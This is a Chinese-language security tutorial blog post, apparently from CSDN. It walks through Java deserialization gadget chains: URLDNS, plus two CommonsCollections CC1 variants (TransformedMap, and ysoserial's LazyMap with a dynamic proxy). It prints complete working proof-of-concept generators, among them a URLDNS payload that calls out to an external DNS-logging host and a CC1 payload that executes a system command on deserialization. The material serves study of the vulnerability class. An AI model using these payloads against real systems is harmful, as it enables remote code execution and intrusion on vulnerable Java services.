Java反序列化(二)——URLDNS链、CC1链

0 背景

白日梦组长投稿视频-白日梦组长视频分享-哔哩哔哩视频 (bilibili.com)

实验环境

Java:1.8.0_65

IDEA:2022

commons-collecetions:3.2.1

1 URLDNS链分析

        URLDNS并不能RCE,只是用来发起dns请求,一般用做初步探测,看能不能反序列化和出网。先给出利用链:

Gadget Chain:

   HashMap.readObject()
        HashMap.putVal()
        HashMap.hash()
            URL.hashCode()
                URLStreamHandler.hashCode()
                    URLStreamHandler.getHostAddress()

        感觉反序列化是一个反向寻找链条,正向验证的过程。

1.1  反向

        反向的目的是寻找到完整的Gadget。先看一下URLStreanHandler.getHostAddress(URL u)的代码:其实是InetAddress.getBuName(host)来发起dns请求,如果跟进去发还会现调用了InetAddress类中静态方法,但这里还是把getHostAddress作为入口类(sink)。并且URLStreamHandler和URL类都是可以反序列化的,实现了相应接口。

        查看那里调用了getHostAddress(Alt+F7或者选中函数右键点击Find Usage),发现URLStreamHandler.hashCode()调用,此处hostsEqual也存在调用,感兴趣可以反向跟踪下。

        继续反向查看哪里调用了URLStreamHandler.hashCode(),发现URL.hashCode()存在调用。

        查看URL.hashCode()被调用情况,发现有962条。为什么同样是hashCode方法,在URL类中和URLStreamHandler类中被调用情况差别如此之大?这是因为访问控制修饰符的不同:一个是public、一个是protected。

        这里选择HashMap.hash()作为上一跳。为什么是HaspMap()?

        查看哪里调用了HashMap.hash(),发现HashMap.readObject中通过putVal(hash(key), key, value, false, false);调用了hash。

        找到了readObjecet,到此URLDNS链完成。

1.2  初步poc编写

        通过上述分析,已经反向找了一条完整的调用链,下面就是分析代码并编写初步的poc,这里是想确保调用链的类是可控的、是通的。然后再正向调试看反序列化后逻辑上能不能通,或者可控等。

Gadget Chain:

   HashMap.readObject()
        HashMap.putVal()
        HashMap.hash()
            URL.hashCode()
                URLStreamHandler.hashCode()
                    URLStreamHandler.getHostAddress()

        写poc的过程是将从执行类到入口类的封装,例如URLDNS链就需要,先将URLStreamHandler装进URL,再将URL装进HahMap中。这里可以从全局readObject开始分析代码编写poc,也可以局部来。个人更喜欢局部来。

        (1)将URLStreamHandler装进URL

        先看URL.hashCode()代码。这里要想执行到URLStreamHandler.hashCode()方法,需要将URLStreamHandler的实例对象赋值给URL的handler属性,并且需要URL的hashCode=-1,否则直接return不会走对应逻辑。

        幸运的是,URL中的默认handler类型就是URLStreamHandler,并且这里用了transient来修饰,意味着这个变量不能反序列化,所以可以先不考虑操作handler的值。

        (2)将URL装进HashMap中

        查看HashMap.hash(Object key)代码逻辑:发现只需要把URL装在key中,value的值可以先不用管。

        hash的访问权限是默认的,所以没办法在外部类中调用调试。根据这条链,下面就是将HashMap序列化了。

        (3)序列化

        这里发现了一个小问题:在序列化的时候,就已经会发起DNSLog请求,不过看起来问题不大,因为生成序列化序列和反序列化使用在时间上是存在缝隙的,并不会影响我们判断链条是否可用。

1.3  正向——反序列化调试

        下面就是正向调试反序列化调用的流程了,主要是查漏补缺。现在HashMap.readObject()上打断点。这里我们只需要确保调用链没问题继续,而不是去理解各行代码的作用,除非逻辑走不通。跟着调试的话,可以知道能成功走到URL.hashCode(),但没办法走到URLStreamHandler.hashCode(),这是因为URL的hashCode不等于-1,直接返回了。

        这里有三个可能:一是序列化前,URL的hashCode发生了改变,不再等于-1(初始化默认值是-1);二是反序列化调用链中,对hashCode的值重新进行了计算;三是一二都起作用了。

        (1)序列化前url的hashCode值矫正

        先看序列化前url的hashCode值,怎么看?调试看每一步前后url内存的hashCode值就行。

        由上图对比在hashMap.put过程中,会改变url.hashCode值,因此,可以在put后修改url.hashCode值,将其变回-1,以实现hashCode值的修正。在URL类中,hashCode时private的,并且没提供相应的set方法,所以需要通过反射来修改hashCode值。

        其实这里已经做了相应的矫正,可以继续反序列化调试了。但还是跟进下hashMap.put()的代码,看看url.hashCode值是如何被修改的。

        发现put会调用putVal(hash(key), key, value, false, true);这里不就是我们readObject的利用链吗?一眼丁真还真是。这就是为什么在序列化的时候会发起DNS请求。继续跟进,由于一开始hashCode是-1,所以会进入URLStreamHandler.hashCode中,进入调用getHostAddress()发起DNS请求。并且重新计算一个新的hashCode值。

       此时,可以再做一点非必要的小改进,将序列化过程中的DNS请求去掉,也就是使得put过程不调用getHostAddress()方法。怎么弄?其实很简单,只要在put之前,将url的hashCode修改为一个不等于-1的值,那就会return返回,不走后面代码逻辑。

        (2)序列化前url的hashCode值矫正后的调试

        序列化前url的hashCode值矫正后,在重新来调试反序列化流程。发现HashMap.readObject获取key(URL)的时候hashCode值并没发生变化,能成功走完URLDNS链的调用流程,在Yakit中也成功收到请求。到此,链条分析完毕。

1.4  完整POC

        本次实验完整POC如下:

package urldns;

import java.io.*;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class URLDNSTest {

    public static void main(String[] args) throws Exception {

//        HashMap

        URL url = new URL("http://wgsjazfwib.dgrh3.cn");
//        url.hashCode();
        HashMap hashMap = new HashMap();

        Field hashCode = Class.forName("java.net.URL").getDeclaredField("hashCode");
        hashCode.setAccessible(true);
        hashCode.set(url, 1);  //去除序列化过程的dns请求

        hashMap.put(url,"URLDNSTest");

        // 修改hashCode值  -1
        hashCode.set(url, -1);

//        int hash = HashMap.hash(url);

        serialize(hashMap);

        unserilize("urlser.bin");
        System.out.println("done");
    }

    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("urlser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserilize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void binToHex(String filename){
        try (FileInputStream inputStream = new FileInputStream(filename)) {
            int byteRead;
            while ((byteRead = inputStream.read()) != -1) {
                System.out.printf("%02X ", byteRead); // 以十六进制格式打印每个字节
            }
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

        而在ysoserial中的POC会有所不同,在初始化URL的时候,也给handler赋值。那这个transient的handler会发挥作用了?还真会,因为URL也自定义了writeObejct和readObejct方法,所以在在给HashMap中的key(URL)反序列化赋值的过程中,也会调用URL的readObject方法,能使得反序列化后的handler是URLStreamHandler的子类SilentURLStreamHandler。这里的具体调用过程就不写了。

2 commons-collections库的基本使用

        在pom.xml中添加依赖。commons-collections装了Java的Collection(集合)相关类对象及操作。

2.1 cc中的常用类

2.1.1 Transformer接口

        是一个接口类,提供了一个对象转换方法transform。

2.1.2 ConstantTransformer

        一个Transformer接口的实现类,同时实现了Serializable接口。在初始化是,会传入一个类对象,后续调用该类的transform时,都会返回初始化时传入的类对象。

2.1.3 InvokerTransformer

        InvokerTransformer是Transformer接口的实现类,同时实现了Serializable接口。这个能实现任意方法调用,在CC1中,这里就是我们的入口类sink。

2.1.4 ChainedTransformer

        ChainedTransformer是Transformer接口的实现类,同时实现了Serializable接口。这个类主要用链式调用。

2.2 RCE调用

2.1 InvokerTransformer实现RCE

        InvokerTransformer有三个参数iMethodName、iParamTypes、iArgs,分别代表函数名、函数参数类型、函数参数的实际值。然后可以通过调用transform(Object)方法通过反射相应方法。需要关注transform的传入参数input,input对象会用来加载相应的class源类,并获取Method,最终invoke时,还是要在这个对象的基础上运行的。

        以运行Runtime中的exec方法为例子。

        上面的代码在本地弹计算器是完全没问题的,但一旦是在反序列化的情况下,就会出现大问题。在调用InvokerTransformer.tranform(Object input)时,我们直接使用Runtime的实例,而Runtime是不可以序列化和反序列化的,因为没有实现Serilizable等接口,这就意味着rt(Runtime实例)没办法通过发序列化传递过去。这样Input为null,自然就不知道exec是那个类的方法。

        要解决这个问题,就需要用到ChainedTransformer和ConstantTransformer来实现。

2.2 ConstantTransformer+ChainedTransformer实现RCE

        虽然Runtime类不能序列化,但Runtime.class能序列化,实现了Serializable接口。同时由于Runtime是一个已知类,在编译阶段,就会绑定一个Runtime.class而不通过类加载。

        需要留意的是,这里调用transform的传入参数可以是任意值,因为ConstantTransformer都会返回Runtime.class,这里传了null。

3 CC1链分析

3.1 反向找Gadget

        从上面的分析可知:可将Transformer.transform(Object)作为执行类。查看调用情况,可定位到TransformedMap.checkSetValue(Object)

       发现MapEntry.setValue(Object)调用了TransformedMap.checkSetValue(Object)。

        发现AnnotationInvocationHandler.readObject()调用了MapEntry.setValue(Object)。

        到此,一条调用链完成。

CC1-1 Gadget:

AnnotationInvocationHandler.readObject()
    Map.entrySet()
    AbstractInputCheckedMapDecorator$MapEntry.setValue(Object)
        TransformedMap.checkSetValue(Object)
            ChainedTransformer.transform(Object)
                ConstantTransformer.transform()
                InvokerTransformer.transform()
                   Method.invoke()
                      Class.getMethod()
                InvokerTransformer.transform()
                   Method.invoke()
                      Runtime.getRuntime()
                InvokerTransformer.transform()
                   Method.invoke()
                      Runtime.exec()

3.2 初步poc编写

3.2.1 把ChainedTransformer装进TransformedMap中

        先看一下TransformedMap.checkSetValue(Object)

        所以这里我们要控制的对象是Transformer valueTransformer。而在TransformerMap中,是通过static方法decorate来new一个对象。

    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

    protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

        又由于TransformedMap.checkSetValue(Object)是protected方法,所有这里办法直接调用。

3.2.2 把TransformedMap装进AbstractInputCheckedMapDecorator$MapEntry中

        MapEntry这一种类来说,当Map遍历Entry(一个键值对)时,其底层就会将Map封装进MapEntry中,所以只需要遍历TransformedMap的Entry,并在遍历的过程中调用setValue,就能进入TransformedMap.checkSetValue(Object)中。

        而在TransformedMap遍历时,利用的是第一个参数Map,所以需要put个键值对进去,这样在遍历是才会非空,进入循环的逻辑里。

3.2.3 把MapEntry装进AnnotationInvocationHandler

        通过3.2.2的分析,若想把MapEntry装进AnnotationInvocationHandler,只需要把TransformedMap装进,然后遍历Entry,就可以自动封装。

        分析AnnotationInvocationHandler.readObject(),memberValues这个变量会被循环,并且调用其setValue方法,所以目前只需要将TransformedMap赋值给memberValues变量即可。

        查看AnnotationInvocationHandler的构造方法,发现memberValues可控,但构造方法是默认权限,所以需要通过反射来获取构造方法并创建实例。其中,第一个参数需要注解的源类,第二个参数就是目标参数。

        初步POC如下:这里第一个参数传入的是Override注解,第二个参数是TransformedMap。

        其实这里有一个问题:反序列过程中会遍历TransformedMap.map变量的Entry,但map变量其实是transient的,继承于AbstractMapDecorator。那为什么map能通过序列化传递、反序列化还原呢?其实是因为TransformedMap自带了writeObject和readObject方法,会将map序列化和反序列化。

        PS:这里的sun包使用了openjdk的来替换了,所以能看到源码。

3.3 正向——反序列化调试

3.3.1 问题1:注解不存在内部元素

        在AnnotationInvocationHandler.readObject中打断点。发现在 if (memberType != null) 这里的逻辑进不去,这是因为Override注解的内部元素是空的。但可以发现Target注解是存在内部元素,所以这里序列化POC中需要将Override注解改为Target注解(不一定是Target,有内部元素即可)。

3.3.2 问题2:TransformedMap中的map中的key在注解中找不到相应的内部元素

        TransformedMap的map为{'key': 'value'}。通过memberValue().getKey()得到的结果是key,但Target注解的内部元素是value,所以memberTypes.get(name);这里会返回null。要解决这里,只需要将map中的key改为与注解内部元素名相同即可,在Target注解中,就是将map的"key"改为
"value"。

3.3.3 最终POC

        解决上述两个问题后,就可以成功走完逻辑,整条链走通。

4 ysoserial中的CC1

        其实ysoserial中CC1和上述链条并不一致。入口点和执行点一直,但其中的调用不相同。

Gadget:

AnnotationInvocationHandler.readObject()
	Map(Proxy).entrySet()
		AnnotationInvocationHandler.invoke()
			LazyMap.get()
				ChainedTransformer.transform()
					ConstantTransformer.transform()
					InvokerTransformer.transform()
						Method.invoke()
							Class.getMethod()
					InvokerTransformer.transform()
						Method.invoke()
							Runtime.getRuntime()
					InvokerTransformer.transform()
							Method.invoke()
								Runtime.exec()

4.1 代理模式

4.设计模式-结构型模式-JDK代理案例(火车站卖票)_哔哩哔哩_bilibili

        ysoserial中的CC1用到了JDK动态代理,为方便理解,先介绍下Java中的代理模式。代理模式其实就是有一个第三方中介去执行我们相干的事,像Struts2请求访问过程就用到了代理。

        代理分为静态代理和动态代理,动态代理包括:JDK动态代理和CGLIB动态代理。这里只介绍静态代理和JDK动态代理。

        Proxy模式分为三种角色:

  •  抽象主题:声明真实主题和代理对象实现的业务方法
  •  真实主题:实现抽象主题,是最终要引用的对象
  •  代理类:提供与真实主题相同的接口,可以访问、控制、拓展真实主题的功能

4.1.1 静态代理

        静态代理在编译过程就会生成相应的代理类。以火车站卖票为例:

        抽象主题:自定义SellTickets接口,声明了被代理的方法方法。

public interface SellTickets {
    void sell();
}

        真实主题:自定义TrainStation类,实现SellTickets接口,重写sell方法。

import TmpTest.ProxyTest.static_proxy.SellTickets;

public class TrainStation implements SellTickets {
    @Override
    public void sell() {
        System.out.println("火车站买票");
    }
}

        代理类:自定义ProxyPoint类,实现SellTickets接口,重写sell方法。实际是直接调用TrainStation类实例的sell方法,但可以做一些自己的处理。

public class ProxyPoint implements SellTickets{

    private TrainStation trainStation = new TrainStation();
    @Override
    public void sell() {
        System.out.println("代售点收取服务费用");
        trainStation.sell();
    }
}

        客户:Client类,通过代理类做事情(买票)。

public class Client {
    public static void main(String[] args) {
        ProxyPoint proxyPoint = new ProxyPoint();
        proxyPoint.sell();
    }
}

4.1.2 JDK动态代理

        JDK动态代理是在运行时获取代理对象的,并通过反射来调用方法。Java中提供给了一个动态代理类Proxy,Proxy并不是上述所说的代理对象的类(ProxyPoint),而是提供了一个创建代理对象的静态方法(newProxyInstance)来获取真正代理对象。

        JDK动态代理中,抽象主题和真实主题是一样,不同的是代理类的获取和被代理方法的调用。

        代理类获取:通过Proxy.newProxyInstance()来获取代理类,这里可以创建一个ProxyFactory类来封装代理的获取。实际上,不创建也没关系,都只是通过Proxy.newProxyInstance()来获取代理对象。

import TmpTest.ProxyTest.static_proxy.SellTickets;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

// 获取代理对象的工厂类
public class ProxyFactory {

    private TrainStation station = new TrainStation();

    public SellTickets getProxyObject(){

//        newProxyInstance的三个参数
//        ClassLoader loader,:加载代理类,动态加载
//        Class<?>[] interfaces,:代理类实现的接口的字节码对象(SellTicket)
//        InvocationHandler h:代理对象的处理程序

        SellTickets proxyObject = (SellTickets) Proxy.newProxyInstance(
                station.getClass().getClassLoader(),
                station.getClass().getInterfaces(),
                new InvocationHandler() {
                    /*
                    * Object proxy:代理对象,和proxyObject是同一个对象,但invoke中用不到
                    * Method method:对接口中的方法进行封装的method对象
                    * Object[] args:调用方法的实际参数,在这个案例中就是sell(),没有参数
                    * 返回值:就是sell方法的返回值
                    * */
                    @Override
                    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
                        System.out.println("invoke方法执行了");

                        System.out.println("代售点收取一定服务费用");
                        Object obj = method.invoke(station, args);
                        return obj;
                    }
                }
        );
        return proxyObject;
    }
}

        Object newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h):该方法有三个重要参数。

  • ClassLoader loader:类加载器,动态加载
  • Class<?>[] interfaces:被代理的抽象主题,interfaces中定义的方法都可以被代理。
  • InvocationHandler h:代理对象的处理类,只要代理对象执行相应的抽象主题方法时就会调用InvocationHadnler.invoke()来处理逻辑

        public Object invoke(Object proxy, Method method, Object[] args):代理对象处理类的执行方法,也有三个参数和一个返回值:

  • Object proxy:代理对象,和proxyObject是同一个对象,但invoke中用不到
  • Method method:对接口中的方法进行封装的method对象
  • Object[] args:调用方法的实际参数,在这个案例中就是sell(),没有参数
  • 返回值:就是sell方法的返回值

        客户调用:

public class Client {
    public static void main(String[] args) {

        //获取代理对象
        // 1. 创建一个代理工厂
        ProxyFactory factory = new ProxyFactory();
        // 2. 获取代理对象
        SellTickets proxyObject = factory.getProxyObject();
        // 3. 可以调用接口定义的方法
        proxyObject.sell();

        // 下面代码是为了用Arthas来获取代理类
        System.out.println(proxyObject.getClass());
        while(true){}
    }
}

          在JDK动态代理中,并不需要用户自定义代理类,运行时会自动生成代理存在于内存中。为方便理解,借用arthas库读取代理类。

        把代码复制下来,并去除无用部分。

        这个代理类$Proxy0就是上述例子通过Proxy.newProxyInstance()获得的代理proxyObject,当然在这里用了factory.getProxyObject();只是因为对Proxy.newProxyInstance()做了封装而已。然后Client通过proxyObject.sell()调用$Proxy0的sell方法,进而会调用h.invoke(也就是newProxyInstance中传入的第三个参数)。

        现在再回来看Object newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h)的三个参数。

  • ClassLoader loader:谁来加载
  • Class<?>[] interfaces:给谁做代理
  • InvocationHandler h:谁来处理代理调用

4.2 ysoserial-CC1-POC编写        

4.2.1 把ChainedTransformer装进LazyMap中:LazyMap.get()调用了transforme()

        LazyMap也是通过decorate来创建类的

        所以代码如下:

4.2.2 把LazyMap装进AnnotationInvocationHandler:AnnotationInvocationHandler.invoke调用了LazyMap.get()

        查看invoke代码,也是把LazyMap放入memberValues中,和 TransformedMap 的那条链差不多。但不能需要该对象类型,不能时Object了,这是因为需要用到相应的方法了,如果是Object的话,就没法调用invoke,这是多态的特性。

4.2.3 那什么地方调用了AnnotationInvocationHandler.invoke()呢?

        AnnotationInvocationHandler显然是一个代理处理类,因为实现了InvocationHandler接口。对于代理类的invoke方法,当被代理的方法被调用时,就会自动执行。以最终POC的代码说明一下:

        这里选择了Map作为被代理的抽象主题,4.2.2中获得AnnotationInvocationHandler实例aih作为处理类。所以当Map接口中定义的方法通过代理类mapProxy调用的时候,机会执行aih.invoke方法。所以下一步就是代理类mapProxy调用,也就是要把mapProxy封装到下一个类中。

        这里为什么选择Map呢?其实不一定非要是Map,但Map会容易些,代理类xxxProxy的定义类型是和被代理一样,例如在这里mapProxy是Map类型的。

        在回到invoke方法中,要走到get方法其实有不少限制。

        但恰恰AnnotationInvocationHandler(aih2)的readObject方法中调用memberValues.entrySet(),这是也给Map的无参方法。所以,如果memberValues是Map类型的代理类,并且把AnnotationInvocationHandler(aih1)作为处理类,那当memberValues.entrySet()方法被调用的时候,就会走到AnnotationInvocationHandler.invoker中,并且能顺利走到memberValuesget里。这就是为什么上面用Map作为被代理主题。

        需要注意的是这里用到了两个AnnotationInvocationHandler,第一个AnnotationInvocationHandler的memberValues是LazyMap,它的目的是调用LazyMap.get();第二个AnnotationInvocationHandler的memberValues是(Map)mapProxy,是为了调用AnnotationInvocationHandler.invoke。

4.3 最终POC

package CCTest;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.*;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC1_2 {
    public static void main(String[] args) throws Exception {

        // 1. 基本调用
//        Runtime rt = Runtime.getRuntime();
//        InvokerTransformer execInvoker = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
//        execInvoker.transform(rt);

        // 2. 解决Runtime无法序列化问题
        Transformer[] tranformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(tranformers);
//        chainedTransformer.transform(null);

        HashMap hashMap = new HashMap();
//        hashMap.put("value", "value");
        Map<Object, Object> lazymap = LazyMap.decorate(hashMap, chainedTransformer);
//        lazymap.get("123");

        Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor aihConstructor = aihClass.getDeclaredConstructor(Class.class, Map.class);
        aihConstructor.setAccessible(true);

        InvocationHandler aih = (InvocationHandler) aihConstructor.newInstance(Target.class, lazymap);

        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, aih);

        Object o = aihConstructor.newInstance(Target.class, mapProxy);

        serialize(o);
        unserilize("cc1.bin");

//        for(Map.Entry entry:transformedMap.entrySet()){
//            entry.setValue(null);
//        }

//        System.out.println(transformedMap.entrySet());
    }

    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc1.bin"));
        oos.writeObject(obj);
    }
    public static Object unserilize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        Object obj = ois.readObject();
        return obj;
    }
}

  4.4 两条CC1总结

CC1-1 Gadget:

AnnotationInvocationHandler.readObject()
    Map.entrySet()
    AbstractInputCheckedMapDecorator$MapEntry.setValue(Object)
        TransformedMap.checkSetValue(Object)
            ChainedTransformer.transform(Object)
                ConstantTransformer.transform()
                InvokerTransformer.transform()
                   Method.invoke()
                      Class.getMethod()
                InvokerTransformer.transform()
                   Method.invoke()
                      Runtime.getRuntime()
                InvokerTransformer.transform()
                   Method.invoke()
                      Runtime.exec()
            
    
CC1-2 Gadget:

AnnotationInvocationHandler.readObject()
	Map(Proxy).entrySet()
		AnnotationInvocationHandler.invoke()
			LazyMap.get()
				ChainedTransformer.transform()
					ConstantTransformer.transform()
					InvokerTransformer.transform()
						Method.invoke()
							Class.getMethod()
					InvokerTransformer.transform()
						Method.invoke()
							Runtime.getRuntime()
					InvokerTransformer.transform()
							Method.invoke()
								Runtime.exec()

5 反序列化利用链知识补充

5.1 反序列相关名词

  • Source:指反序列化的入口类,在特指readObject引起的反序列化漏洞,上述中HashMap和AnnotationInvocationHandler都是Source类,一般这种都要有以下的一些特性:继承Seriliable等接口、重写readObject方法、类的内部变量类型宽泛(这样才能方便传入可控变量);
  • Sink:指执行类或者是具体的方法,例如URLDNS中的getHostAddress和CC1中transform。
  • Gadget:调用链,从Source到Sink的调用过程。

source和sink都有可以自己定义,你的sink越底层,链条误报就越大,但比较全。

5.2 Java访问权限控制符

访问权限修饰符当前类同一包内的类子类同一包中的子类不同包中的子类
public✔️✔️✔️✔️✔️
protected✔️✔️✔️✔️
默认✔️✔️
private✔️

        这个需要了解下,在找链条的时候,需要找public的方法才能跳出类包,但IDEA其实很智能,Find Usage搜索的时候也把函数访问权限控制符的作用考虑进去了。这里做了解主要是方便我们做局部调试,不要看到proteced或private方法,也去急冲冲调试,先找到public再调试。但链条到了一个private后,没有调用了,是否意味着链条断了呢?不是,还存在反射调用的可能,这时候可以全局搜索private方法对应的类.class。

5.3 一些逼逼叨叨

        在分析链条的时候,我分为了三步:反向找调用链,poc编写,正向调试。这只是为了更方便写,在自己学习或者找链的过程中,一步一步写和一步一步调也行,主要是看链的代码复杂与否,并且调用链感觉还是得用工具来找,自己找命都没了。

  • 13
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值